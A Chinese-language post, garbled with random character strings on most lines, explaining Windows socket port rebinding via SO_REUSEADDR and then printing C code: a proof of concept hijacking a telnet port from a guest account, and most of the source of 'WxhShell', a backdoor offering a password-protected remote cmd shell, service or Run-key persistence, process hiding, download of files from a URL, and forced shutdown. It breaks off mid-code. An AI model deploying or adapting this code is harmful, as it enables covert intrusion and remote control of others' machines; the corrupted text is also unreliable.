在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
jz|zq\Eek s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
RC8{QgaI `"M=Z Vk saddr.sin_family = AF_INET;
Um\Nd#=: GljxYH"]# saddr.sin_addr.s_addr = htonl(INADDR_ANY);
0K,*FdA qyc:;3?wm bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
GD|uU nD.4c-hd$q 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
@.-g zp4Jd"XBX 这意味着什么?意味着可以进行如下的攻击:
A5Yfm.Jy .*D~ .! 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
E/ (:\Cm^ KS'? DO 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
4D[W;4/p Mno4z/4{A 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
xrO:Y!C? _U$d.B'*)z 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
!O)Ruwy pq>"GEN 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
anA>' 63 -zHJ# 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
GS~jNZx %Md;=,a:6 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Cdiu*#f 5_M9 T3 #include
CIQo2~G #include
Hw<t>z
k #include
c3!d4mC: #include
g`gH]W
FcG DWORD WINAPI ClientThread(LPVOID lpParam);
F%6al,8P int main()
W*-+j*e|_P {
_=j0Y=/IF WORD wVersionRequested;
hti)<#f DWORD ret;
"VkraB.i WSADATA wsaData;
$t-HJ<! BOOL val;
LKxyj@Eq SOCKADDR_IN saddr;
zF(I#|Vo SOCKADDR_IN scaddr;
s9qr;}U.` int err;
rjQV;kX> SOCKET s;
&~G>pvZ SOCKET sc;
Eti;(>"@ int caddsize;
G(|ki9^@"9 HANDLE mt;
j,Qp*b#Qo DWORD tid;
8@Xq ,J wVersionRequested = MAKEWORD( 2, 2 );
ve=oH;zf err = WSAStartup( wVersionRequested, &wsaData );
Gs.id^Sf if ( err != 0 ) {
FbJlyWND printf("error!WSAStartup failed!\n");
#+QwRmJdT! return -1;
jRXByi=9 }
A%oHx|PD saddr.sin_family = AF_INET;
a7nbGqsx (<(8(}x //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
2>.B*P r.[!n)* saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
V;~W,o ! saddr.sin_port = htons(23);
=wPl;SDf! if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~DhYiOSo {
uOs
8|pj, printf("error!socket failed!\n");
Wze\z
return -1;
CP'?Om2 }
br>"96A1l val = TRUE;
JpD<2Mz_|V //SO_REUSEADDR选项就是可以实现端口重绑定的
lzfaW-nu if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
A/W0O;*q {
}X)mZyM [ printf("error!setsockopt failed!\n");
]k]P (w return -1;
lycY1 lK }
%gJf&A //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
zm9>"(H //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
G TNN4 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
nv*q
N\i' L/"XIMI*Xg if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
; a XcGa {
9Rzu0:r., ret=GetLastError();
Qy*`s printf("error!bind failed!\n");
!CTchk<{( return -1;
n4Ry)O[. }
gE0k|Z(RF listen(s,2);
UOZ"#cQ while(1)
g,7`emOX {
bwqla43gX caddsize = sizeof(scaddr);
!GURn1vcAe //接受连接请求
8U*}D~%! sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
siZ w-. if(sc!=INVALID_SOCKET)
x;99[C!$ {
+S5"4< mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
V?t^ J7{' if(mt==NULL)
YbND2i {
U{} bx printf("Thread Creat Failed!\n");
9h<]; break;
/^G1wz2 }
6OF&Q`*4 }
AwAUm 2^ CloseHandle(mt);
`!kOyh:X }
CQW#o_\ closesocket(s);
HO/Ij WSACleanup();
|gA~E>IqF return 0;
kTT!gZP$ }
/G9wW+1 DWORD WINAPI ClientThread(LPVOID lpParam)
/=*h\8c~ {
[,3o SOCKET ss = (SOCKET)lpParam;
(2[tQ`~ SOCKET sc;
1CU-^j unsigned char buf[4096];
r;g[<6`!S SOCKADDR_IN saddr;
"6w-jT long num;
f6j;Y<}' g DWORD val;
>_jT.d DWORD ret;
?"N,do //如果是隐藏端口应用的话,可以在此处加一些判断
btJ:Wt} //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
$5jQm,V$K saddr.sin_family = AF_INET;
X&8&NkH saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
oa? bOm saddr.sin_port = htons(23);
G<# 9` if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
}Ry:}) {
S4aN7.'Q printf("error!socket failed!\n");
7;jwKA;k return -1;
Kp'_lKW)]q }
2%'{f val = 100;
<La$'lG4J if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5f(yF {
n#Q ;bSw ret = GetLastError();
O; 7`*}m return -1;
3s<~}&" }
zt/b S/ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
p#wQW[6 {
(/Lo44wT ret = GetLastError();
W,9. z% return -1;
$l@nk@ }
xeF0^p7Z if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
c
Owa^; {
0?8O9i printf("error!socket connect failed!\n");
<^c?M[j closesocket(sc);
y[:\kI closesocket(ss);
:hr% 6K7 return -1;
dlmF?N|EC }
y{
%2Q) while(1)
gHpA@jdC* {
0}C> e`<' //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
}:<`L\8q\ //如果是嗅探内容的话,可以再此处进行内容分析和记录
4$#nciAe //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
m-Q!V+XQp num = recv(ss,buf,4096,0);
i t.Lh'N;T if(num>0)
cVYDO*N2T send(sc,buf,num,0);
S
{oW else if(num==0)
dmI~$* break;
@iwVU]j num = recv(sc,buf,4096,0);
D!Pv`wm if(num>0)
v W=$C send(ss,buf,num,0);
y.(Yh1 else if(num==0)
2fFZ70Yh break;
NF8'O }
?~X*\ closesocket(ss);
W/DSj : closesocket(sc);
Y"6
' return 0 ;
3eT5~Lbs }
}Q&zYC]d z*n wCw-EGLR ==========================================================
:FB-GNd @SeInew;`l 下边附上一个代码,,WXhSHELL
tIn
dve B( r~Nvc ==========================================================
$c"byQ[3S ]^j:}#R #include "stdafx.h"
o81RD#>E) 6a6;]lsG #include <stdio.h>
1W3+ng #include <string.h>
Wi7!J[ B #include <windows.h>
:0@R(ct;> #include <winsock2.h>
Sk7l&B #include <winsvc.h>
p}H:t24Cr5 #include <urlmon.h>
$WmB __ t|-TG\Q X #pragma comment (lib, "Ws2_32.lib")
(K9pr>le #pragma comment (lib, "urlmon.lib")
9<0TF+}> e.-+zkQ8EI #define MAX_USER 100 // 最大客户端连接数
cjK\(b3 #define BUF_SOCK 200 // sock buffer
O&BNhuW2 #define KEY_BUFF 255 // 输入 buffer
)45~YDS;t >f+qImH #define REBOOT 0 // 重启
NZT2ni4 #define SHUTDOWN 1 // 关机
p[oR4 HWr %87D(h!.I4 #define DEF_PORT 5000 // 监听端口
RN:VsopL "/H B# #define REG_LEN 16 // 注册表键长度
7Z%EXDm4/c #define SVC_LEN 80 // NT服务名长度
pRR1k? Q1f)uwh // 从dll定义API
OM,Dy&Y typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
h0**[LDH typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
[0c7fH`8V typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
TwPpZ@ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
T:FaD V{ )/4eT\ = // wxhshell配置信息
0\tV@ 6p2= struct WSCFG {
rtM29~c>@ int ws_port; // 监听端口
)M3}6^s] char ws_passstr[REG_LEN]; // 口令
xXb7/.*qE int ws_autoins; // 安装标记, 1=yes 0=no
Ln-UN$2~F char ws_regname[REG_LEN]; // 注册表键名
M2Q*#U>6r char ws_svcname[REG_LEN]; // 服务名
oZ]^zzoEcg char ws_svcdisp[SVC_LEN]; // 服务显示名
v7-z<'?s~ char ws_svcdesc[SVC_LEN]; // 服务描述信息
$-^
;Jl char ws_passmsg[SVC_LEN]; // 密码输入提示信息
A-"2 sp*t int ws_downexe; // 下载执行标记, 1=yes 0=no
VT ikLuH char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
;]gj:6M char ws_filenam[SVC_LEN]; // 下载后保存的文件名
ycD.X" 9 +1}8"~ };
e^!>W %.7Z uwI$t[ // default Wxhshell configuration
<Wrn/%tL struct WSCFG wscfg={DEF_PORT,
I{nrOb1G( "xuhuanlingzhe",
>wSrllmj@ 1,
<n4?wo "Wxhshell",
OQnb^fabY "Wxhshell",
RnV#[bM{ "WxhShell Service",
MZIZ"b "Wrsky Windows CmdShell Service",
jJ.isr|` "Please Input Your Password: ",
ATRB9 1,
wWYo\WH' "
http://www.wrsky.com/wxhshell.exe",
itYTV?bd "Wxhshell.exe"
]v2%h X };
cG)U01/" \]Bwib%h // 消息定义模块
d\O*Ol*/v char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
My6a.Kl char *msg_ws_prompt="\n\r? for help\n\r#>";
.gQYN2#zb char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
aU\R!Y$/" char *msg_ws_ext="\n\rExit.";
!l9i)6W char *msg_ws_end="\n\rQuit.";
q"LE6?hs char *msg_ws_boot="\n\rReboot...";
D( \c?X" char *msg_ws_poff="\n\rShutdown...";
kR0/jEz
C char *msg_ws_down="\n\rSave to ";
:<p3L!?8y 1S{AGgls5 char *msg_ws_err="\n\rErr!";
62.)fCQ^ char *msg_ws_ok="\n\rOK!";
)#os!Ns_A tl6x@%\ char ExeFile[MAX_PATH];
]0o_-
NI int nUser = 0;
TI5<'
U) HANDLE handles[MAX_USER];
E$"`|Df int OsIsNt;
Sdzl[K/} yDapl( SERVICE_STATUS serviceStatus;
e6`g[Ap SERVICE_STATUS_HANDLE hServiceStatusHandle;
QZwZ4$jkiO tkIpeL[d // 函数声明
99GK6}~TGm int Install(void);
S1I# qb int Uninstall(void);
GI5#{-) int DownloadFile(char *sURL, SOCKET wsh);
^\ku}X_[? int Boot(int flag);
Q30TR void HideProc(void);
%\f<N1~* int GetOsVer(void);
`RlMfd int Wxhshell(SOCKET wsl);
Mni@@W void TalkWithClient(void *cs);
Zjkg" int CmdShell(SOCKET sock);
mXwDB)O{) int StartFromService(void);
r=gF&Og,? int StartWxhshell(LPSTR lpCmdLine);
zI7iZ"2a Um~DA VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
% `\}# VOID WINAPI NTServiceHandler( DWORD fdwControl );
pqF!1 cj;k{Moc // 数据结构和表定义
$Wn!vbL SERVICE_TABLE_ENTRY DispatchTable[] =
w#
R0QF {
GT 5J` {wscfg.ws_svcname, NTServiceMain},
b3.}m[] {NULL, NULL}
230ijq3YG };
i'YM9*yN 6s.>5}M!
// 自我安装
U[O7}Nsb" int Install(void)
o_C]O" {
f0@4>\g char svExeFile[MAX_PATH];
{i"th(J$
HKEY key;
_{2/QP} strcpy(svExeFile,ExeFile);
oiRrpS\T. ^Lc, w // 如果是win9x系统,修改注册表设为自启动
$!goM~pZ if(!OsIsNt) {
,a34=, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[R0E4A?M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
<4:%M RegCloseKey(key);
q[TGEgG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
K+<F,
P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
i%GNmD RegCloseKey(key);
yPoa04!{= return 0;
TCI)L}L| }
=m-nvXD }
8&wN9tPYZ }
(DQ ]58& else {
e~ %=H 0n @bIZ0tr4 // 如果是NT以上系统,安装为系统服务
bLSUF`-z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
g[L}puN if (schSCManager!=0)
P$v9 {
y=&^=Zh[ SC_HANDLE schService = CreateService
'FM_5`& (
#i 5@G* schSCManager,
Oj1B @QE wscfg.ws_svcname,
9j>LU<Z wscfg.ws_svcdisp,
G%MdZg&i SERVICE_ALL_ACCESS,
Z8I0v$LjR SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
=rN_8& SERVICE_AUTO_START,
ih=O#f| SERVICE_ERROR_NORMAL,
3H`r|R svExeFile,
BIxjY!!" NULL,
m\f}?t NULL,
y:YJv x6&4 NULL,
q0*d*j F0u NULL,
CwaW>(`v NULL
u=
Vt3%q );
G2yQHTbl if (schService!=0)
H~;s$!lG {
}qg.Go CloseServiceHandle(schService);
m](q,65 2 CloseServiceHandle(schSCManager);
#k
t+
)> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
=JE5/ strcat(svExeFile,wscfg.ws_svcname);
/s
Bs eI if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Zvkb= RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
!@T5]( zV RegCloseKey(key);
`zOn(6B;U return 0;
:Izdj*HL;A }
,In}be$: }
[j 'lB CloseServiceHandle(schSCManager);
WesEZ\V }
AGV+Y6 }
TG6E^3a P Qe;R3D=T; return 1;
RG6U~o1 }
,.i)(Or ;Dp<|n // 自我卸载
] p*Fq^ int Uninstall(void)
/DX6Hkkj % {
"b[w%KYyl HKEY key;
O4oI&i 7 nEgYypwr if(!OsIsNt) {
t_hr$ { if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^Is#_Z| RegDeleteValue(key,wscfg.ws_regname);
Z$y~:bz RegCloseKey(key);
$O9,Gvnxx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
FvVM}l' RegDeleteValue(key,wscfg.ws_regname);
>JHQA1mX RegCloseKey(key);
)\+1*R|H} return 0;
"H|hN }
;:aCZ8e }
Su]p6B }
|W*i'E else {
Vi>`g{\ <KrfM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
b,lIndj# if (schSCManager!=0)
8F/JOtkGMt {
m^KK
#Hw/` SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
2`pg0ciX ( if (schService!=0)
MXs]3M {
I`q" if(DeleteService(schService)!=0) {
6]fz;\DgP CloseServiceHandle(schService);
.&rL>A2U CloseServiceHandle(schSCManager);
g_e_L39 return 0;
DS^`:^hv }
~y>N JM>1 CloseServiceHandle(schService);
^v&)z, }
0[R7HX-@ CloseServiceHandle(schSCManager);
w0,rFWS }
O"emse}Z }
'a=' (,% |g!3f return 1;
,IRy.
qy }
W$`p ,$ .n HG&rE3@ // 从指定url下载文件
]L_h3Xz\X int DownloadFile(char *sURL, SOCKET wsh)
oT*qMLdn {
[Mp8" HRESULT hr;
c52S2f7 char seps[]= "/";
:tT6V(-W char *token;
3>%:%bP char *file;
mH9_HK.C char myURL[MAX_PATH];
lO=~&_ char myFILE[MAX_PATH];
h`pXUnEZ t{Z:N']H strcpy(myURL,sURL);
O_^;wey0}? token=strtok(myURL,seps);
frUO+ while(token!=NULL)
nE=,=K~ {
A;gU@8m file=token;
Mcqym8,q|3 token=strtok(NULL,seps);
:NXM.@jJ=" }
,_I#+XiXY 1Ts$kdO GetCurrentDirectory(MAX_PATH,myFILE);
\kG;T=H strcat(myFILE, "\\");
?K=
X[ strcat(myFILE, file);
BL H~`N3U send(wsh,myFILE,strlen(myFILE),0);
wD5fm5r= send(wsh,"...",3,0);
h5}:>yc hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
=v7%IRP5 if(hr==S_OK)
h.)o4(bO return 0;
W5R / else
4(TR'_X( return 1;
rfYFS96 a
G\ }
2)(ynrCe Y *n[*N // 系统电源模块
+K7oyZg int Boot(int flag)
52q<|MW% {
/s "Lsbe HANDLE hToken;
tlcNGPa TOKEN_PRIVILEGES tkp;
5'S~PQka* { !NXu if(OsIsNt) {
[6f(3|" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
.a7!*I#g LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
j S<."a/n tkp.PrivilegeCount = 1;
WbGN
5?9Q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
@q+X:K5b AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
1[ 40\ sM if(flag==REBOOT) {
PEPf=sm if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
LuvRxmQ` return 0;
';3#t(J; }
!b8.XGo else {
Q[MWzsx if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
h9I vuv' return 0;
><H*T{
Pg }
U flS` }
.?)gn]# else {
6 B*,Mu4A if(flag==REBOOT) {
v&Oc,W if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
WFG`-8_e[I return 0;
(X~JTH:e/ }
F-PQ`@ZNW else {
-;j
'=? if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
69$gPY'3 return 0;
=p>IP"HJ }
`}S;_g! }
H,0Io Xsd+5="{N return 1;
u:M)JG }
bL0>ul" ^n9)rsb // win9x进程隐藏模块
90UZ\{"> void HideProc(void)
.A
apO}{ {
[(m+Ejzi% ][ 1
iKT HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
# b94S?dq if ( hKernel != NULL )
n
'E:uXv" {
+MyXIWmD pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
ZiaHLpk ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
0YO/G1O& FreeLibrary(hKernel);
Sd+bnq% }
^]X\boWlI ' ?uwUBi return;
q.!<GqSgb }
|H
,-V; ph>0?Z =bn // 获取操作系统版本
!z2 KQ
4C int GetOsVer(void)
{8T/;K@ {
Pd04 OSVERSIONINFO winfo;
jKr>Ig=$tA winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Eal*){"<,? GetVersionEx(&winfo);
\^x`GsVy if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
E-Y4TBZ* return 1;
Pzte!]B else
Sc9}WU return 0;
bPVQ- }
v /x~L$[ `&URd&ouJD // 客户端句柄模块
.>
5[; int Wxhshell(SOCKET wsl)
GBYwS{4 {
uYCWsw/ SOCKET wsh;
85qD~o?O struct sockaddr_in client;
SaFNPnk= DWORD myID;
>>%E?'9A I6Ga'5bV while(nUser<MAX_USER)
W9:(P {
GD0Q`gWNe int nSize=sizeof(client);
OE=.@Ry" wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
`rb}"V+ if(wsh==INVALID_SOCKET) return 1;
fVz0H1\J& 8c%_R23 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
~_a$5Y if(handles[nUser]==0)
cf,^7,-`" closesocket(wsh);
A5go)~x\ else
ne
8rF.D nUser++;
6)yi^v }
T&^b~T(y WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
).IK[5Q` odKdpa
Zc[ return 0;
`y$@zT?j }
szGGw Y(F>;/AA // 关闭 socket
eS/Au[wS void CloseIt(SOCKET wsh)
"Z)zKg {
Yht |^ =a closesocket(wsh);
:gTtWJ04] nUser--;
`X%Qt~ ExitThread(0);
Xx1e SX }
t&Jrchk 7gE/g`"# // 客户端请求句柄
c7A]\1 ~ void TalkWithClient(void *cs)
9QHV%% {
N#GMvU#R 5#~E[dr SOCKET wsh=(SOCKET)cs;
<-"[9 w char pwd[SVC_LEN];
w+gPU1|(r char cmd[KEY_BUFF];
-{ES 36 char chr[1];
2]cU:j6G int i,j;
J+m1d\lBu b}!T!IP} while (nUser < MAX_USER) {
PO*0jO;% " TC:O^X if(wscfg.ws_passstr) {
88Vl1d&b if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
s[#_sR`y //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
P
c'\ //ZeroMemory(pwd,KEY_BUFF);
La$?/\Dv) i=0;
!q 9PO while(i<SVC_LEN) {
RV),E:? xwojjiV // 设置超时
B^Hhrz! fd_set FdRead;
xu.TS struct timeval TimeOut;
O% 8>siU FD_ZERO(&FdRead);
@3`Pq2< FD_SET(wsh,&FdRead);
%xdyGAl: TimeOut.tv_sec=8;
WHcw5_3# TimeOut.tv_usec=0;
v;(k7
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Bhk@0\a if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
<OTx79m O?0`QMY if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
q
+!i6!6r pwd
=chr[0]; gwDVWhq
if(chr[0]==0xd || chr[0]==0xa) { jD?*sd
pwd=0; dH)\zCt
break; IHv>V9yiG
} t:YMF$Z
i++; 6*:U1{Gl)
} Pr3>}4M
OlM3G^1e1
// 如果是非法用户,关闭 socket p8MN>pLP%
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WmuYHE U
} 4VhKV JX
kOQ!]-;
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (Q"~bP{F
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >cH}sNHy
7
lu_E.Bv
while(1) { ]Xg7XY
7n7UL0Oc1
ZeroMemory(cmd,KEY_BUFF); ?@QcKQ@
~^l;~&
// 自动支持客户端 telnet标准 x#fv<Cj4
j=0; KebC$g@W
while(j<KEY_BUFF) { A'n{K#
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WNSEc%
cmd[j]=chr[0]; J7wIA3.O
if(chr[0]==0xa || chr[0]==0xd) { o\X|\nUk
cmd[j]=0; MH=Ld=i
break; p. KT=dZT
} *d:$vaL
j++; ~7:Q+ 0,,
} VBz
G`&NG
x5b .^75p$
// 下载文件 ))I[@D1b
if(strstr(cmd,"http://")) { akzKX}
send(wsh,msg_ws_down,strlen(msg_ws_down),0); c]NZGn*
if(DownloadFile(cmd,wsh)) 1cD
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~)*uJ wW/a
else gnlU
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;&XC*R+
} i<*W,D6
else { meZZQ:eSl
KgXu x-q
switch(cmd[0]) { k0,]2R
;_m;:<
// 帮助 V!QC.D<
case '?': { d'[q2y?6N
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z\>ZgRi~n
break; Gm=e;X;r
}
^M+aQg%
// 安装 0P;\ :-&p
case 'i': { )B"E+Q'h{7
if(Install()) tc{Qd&"(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p5J!j I=
else 95Q^7oI
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,3Nna:~f
break; <(l`zLf4p
} $`<-;kI
// 卸载 !*o{xq
case 'r': { IGo+O*dMw
if(Uninstall()) Jt3*(+J>/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8d(l)[GZt
else YcW)D
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z61L;E
break; oiQ:&$y
} 'ql<R0g
// 显示 wxhshell 所在路径 XW:%YTv
case 'p': { qUk-BG8^
char svExeFile[MAX_PATH]; }O2P>Z?V
strcpy(svExeFile,"\n\r"); p ^Y2A
strcat(svExeFile,ExeFile); b1yS1i
D
send(wsh,svExeFile,strlen(svExeFile),0); bd[iD?epD]
break; Kf`/ Gc!
} [Xww`OUsh
// 重启 3e1%G#fu
case 'b': { [ ^gb6W9Y
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &;U
F,
if(Boot(REBOOT)) p,14'HS%@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I7W?}bR*6
else { m,&2s-v
closesocket(wsh); *S'?u_Y7
ExitThread(0); h$p}/A
} oz7=1;r
break; qoEZ>
} .x1.` Y
// 关机 tg7QX/KX
case 'd': { _ o==
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TWdhl9Ot
if(Boot(SHUTDOWN)) A@e!~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u/%Z0`X
else { a\KM^jrCD
closesocket(wsh); "g5MltH
ExitThread(0); NT{'BJ
} izLB4pk$
break; #)4p,H
} S~M/!Xb
// 获取shell ps*iE=D
case 's': { umt(e:3f5
CmdShell(wsh); -/_hO$|W
closesocket(wsh); vd/ BO
ExitThread(0); 8L[\(~Zf
break; #4V->I
} d}wE4(]b
// 退出 EjP)e;
case 'x': { .2y @@g
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9H2mA$2jnE
CloseIt(wsh); K6 ,d{n
break; !8tqYY?>@\
} VUD9ZyPw
// 离开
" s/ws
case 'q': { 6t gq.XL^n
send(wsh,msg_ws_end,strlen(msg_ws_end),0); a!.Y@o5Ku
closesocket(wsh); k=X)axt1
WSACleanup(); q[x|tO
exit(1); *r ('A
break; XII',&
} rd,!-w5
} 1";s#Jq
} CHDt^(oa!B
D4*_/,}
// 提示信息 RtEx
WTc
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
Q1!+wC
} L;=LAQ6[
} 4^!%>V"d/
|#Q0UM|'Q
return; EmyE%$*T
} a[=ub256S
Wr8}=\/
// shell模块句柄 KK4rVb:-
int CmdShell(SOCKET sock) [B j\h7G
{ w8F`RRHEE
STARTUPINFO si; $<L@B|}F)
ZeroMemory(&si,sizeof(si)); Gsy'':u
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^~s!*T)\
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H-eHX3c7
PROCESS_INFORMATION ProcessInfo; )U{\c2b
char cmdline[]="cmd"; 9 $^b^It
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eL
[.;_
return 0; $ )6x3&]P
} 7_J0[C!G
}/jWa|)f
// 自身启动模式 mNJCV8 <
int StartFromService(void) 6UU<:KH
{ 0JW
=RW
typedef struct u.}H)wt
{ <(1[n
pS&+
DWORD ExitStatus; (Mw+SM3<
DWORD PebBaseAddress; !1l~'/r
DWORD AffinityMask; I(b]V!mj:
DWORD BasePriority; NzS`s,N4/0
